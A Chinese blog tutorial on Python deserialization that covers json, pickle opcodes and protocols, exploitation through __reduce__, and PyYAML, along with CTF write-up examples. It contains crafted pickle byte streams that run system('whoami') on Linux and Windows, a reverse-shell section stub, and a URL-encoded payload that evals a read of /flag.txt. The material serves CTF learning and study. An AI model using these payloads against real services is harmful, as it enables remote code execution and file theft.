我们把变量从内存中变成可存储或传输的过程称之为序列化。
序列化之后,就可以把序列化后的内容写入磁盘,或者通过网络传输到别的机器上。
反过来,把变量内容从序列化的对象重新读到内存里称之为反序列化。
反序列化类型
json
json可以用于(不同平台和多语言)字符串和python数据类型进行转换
json有如下四种操作方法:
json.dumps()是将字典类型转化成字符串类型。
json.loads()将字符串类型转化成字典类型
json.dump()用于将dict类型的数据转成str,并写入到json文件中
json.load()用于从json文件中读取数据。
1 |
import json |
pickle/cPickle
pickle可以用于python特有的类型和python的数据类型间进行转换(所有python数据类型)
Python提供两个模块来实现序列化:cPickle和pickle。这两个模块功能是一样的,区别在于cPickle是C语言写的,速度快,pickle是纯Python写的,速度慢。
python3中已经没有cPickle模块
有如下四种操作方法:
dump是将对象序列化并保存到文件中
dumps是将对象序列化
load将序列化字符串从文件读取并反序列化
loads将序列化字符串反序列化
简介
pickle 是一种栈语言,有不同的编写方式,基于一个轻量的 PVM(Pickle Virtual Machine)。
PVM 由三部分组成:
- 指令处理器:从流中读取 opcode 和参数,并对其进行解释处理。重复这个动作,直到遇到 . 这个结束符后停止。最终留在栈顶的值将被作为反序列化对象返回。
- stack:由 Python 的 list 实现,被用来临时存储数据、参数以及对象。
- memo: 由 Python 的 dict 实现,为 PVM 的整个生命周期提供存储
当前用于 pickling 的协议共有 5 种。使用的协议版本越高,读取生成的 pickle 所需的 Python 版本就要越新。
v0 版协议是原始的 “人类可读” 协议,并且向后兼容早期版本的 Python。
v1 版协议是较早的二进制格式,它也与早期版本的 Python 兼容。
v2 版协议是在 Python 2.3 中引入的。它为存储 new-style class 提供了更高效的机制。欲了解有关第 2 版协议带来的改进,请参阅 PEP 307。
v3 版协议添加于 Python 3.0。它具有对 bytes 对象的显式支持,且无法被 Python 2.x 打开。这是目前默认使用的协议,也是在要求与其他 Python 3 版本兼容时的推荐协议。
v4 版协议添加于 Python 3.4。它支持存储非常大的对象,能存储更多种类的对象,还包括一些针对数据格式的优化。有关第 4 版协议带来改进的信息,请参阅 PEP 3154。
指令集
本文重点说明 0 号协议
1 |
MARK = b'(' # push special markobject on stack |
生成pickle
示例
1 |
import pickle |
python2运行结果
1 |
S'abcd' |
python3运行结果
1 |
b'\x80\x03X\x04\x00\x00\x00abcdq\x00.' |
是不是很不一样,这是因为python2和python3实现的pickle协议版本不一样,python3实现的版本是第三版,其序列化后的bytes序列第二个字符即\x03就表示它的pickle版本为第三版。各个不同的版本实现的PVM操作码不同,但却是向下兼容的,比如上面python2序列化输出的字符串可以放在python3里正常反序列化,但python3序列化输出的字符串却不能让python2反序列化.
详细解释一下上面py3输出的pickle流
1 |
b'\x80\x03X\x04\x00\x00\x00abcdq\x00.' |
第一个字符\x80是一个操作码,pickle.py文件中的注释说明它的含义是用来声明pickle版本,后面跟着的\x03就代表了版本3;随后的X表示后面的四个字节代表了一个数字(小端序),即\x04\x00\x00\x00,值为4,表示下面跟着的utf8编码的字符串的长度,即后面跟着的abcd;再往后是q,这个没有查到详细的说明,看注释上的字面意思是后面即\x00是一个字节的参数,但也不知道这个有什么用,我猜测它是用来给参数做索引用的,索引存储在momo区,如果不需要用到取数据,可以把q\x00删掉,这并不影响反序列化,最后的.代表结束,这是每个pickle流末尾都会有的操作符。
详情可看
python反序列化简介与利用
__reduce__
漏洞产生的原因在于其可以将自定义的类进行序列化和反序列化。反序列化后产生的对象会在结束时触发__reduce__()
函数从而触发恶意代码。
构造的关键就是__reduce__
函数,这个魔术方法的作用根据上面的文档简单总结如下:
- 如果返回值是一个字符串,那么将会去当前作用域中查找字符串值对应名字的对象,将其序列化之后返回,例如最后return ‘a’,那么它就会在当前的作用域中寻找名为a的对象然后返回,否则报错。
- 如果返回值是一个元组,要求是2到5个参数,第一个参数是可调用的对象,第二个是该对象所需的参数元组,剩下三个可选。所以比如最后return (eval,(“os.system(‘ls’)”,)),那么就是执行eval函数,然后元组内的值作为参数,从而达到执行命令或代码的目的,当然也可以return (os.system,(‘ls’,))
例子:
1 |
import pickle |
在linux中运行
1 |
b'\x80\x03cposix\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.' |
来细看一下这个pickle流,在声明版本后使用c操作符导入了posix模块中的system函数,posix模块是os模块在linux上的具体实现,随后是q\x00,标识system函数在memo区的索引,X\x06\x00\x00\x00标识后面whoami这个字符串的长度,q\x01标识whoami这个字符串在memo区的索引,\x85建立1个元素的元组,这个元素当然就是前面的whoami这个字符串,q\x02标识了这个元组在memo区的索引,R操作符标识运行栈顶的函数,就是前面的system,并把包含whoami的元组当做参数传递给它,后面的q\x03标识了运行的结果在memo区的索引?我不确定,但这并不重要,我们执行任意命令的目的已经达到了,最后是.结束符
在window中运行
1 |
b'\x80\x03cnt\nsystem\nq\x00X\x06\x00\x00\x00whoamiq\x01\x85q\x02Rq\x03.' |
涉及到调用操作系统命令的库的话,不同的平台上序列化出来的pickle流是不一样的
反弹shell
1 |
import os |
PyYAML
YAML是“YAML不是一种标记语言”的外语缩写;但为了强调这种语言以数据做为中心,而不是以置标语言为重点,而用返璞词重新命名。它是一种直观的能够被电脑识别的数据序列化格式,是一个可读性高并且容易被人类阅读,容易和脚本语言交互,用来表达资料序列的编程语言。
PyYAML是Python中YAML语言的编辑器和解释器。
两个函数:
yaml.dump():将一个Python对象序列化生成为yaml文档
yaml.load():将一个yaml文档反序列化为一个Python对
例题
CISCN2019
环境:
https://buuoj.cn/challenges
解题详情可看:https://www.zjun.info/2019/ikun.html
第19行处直接接收become经url解码与其反序列化的内容,存在反序列化漏洞,构造payload读取flag.txt文件:
1 |
import pickle |
result:
1 |
c__builtin__%0Aeval%0Ap0%0A%28S%22open%28%27/flag.txt%27%2C%27r%27%29.read%28%29%22%0Ap1%0Atp2%0ARp3%0A. |
SUCTF 2019 Guess_game
环境:https://github.com/team-su/SUCTF-2019/tree/master/Misc/guess_game
参考文章:
PYTHON
Python反序列化漏洞的花式利用
利用python反序列化覆盖秘钥——watevrCTF-2019:Pickle Store的第二种解法
记CTF比赛中发现的Python反序列化漏洞
Python pickle 反序列化实例分析
Python PyYAML反序列化漏洞
FROM :blog.cfyqy.com | Author:cfyqy
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论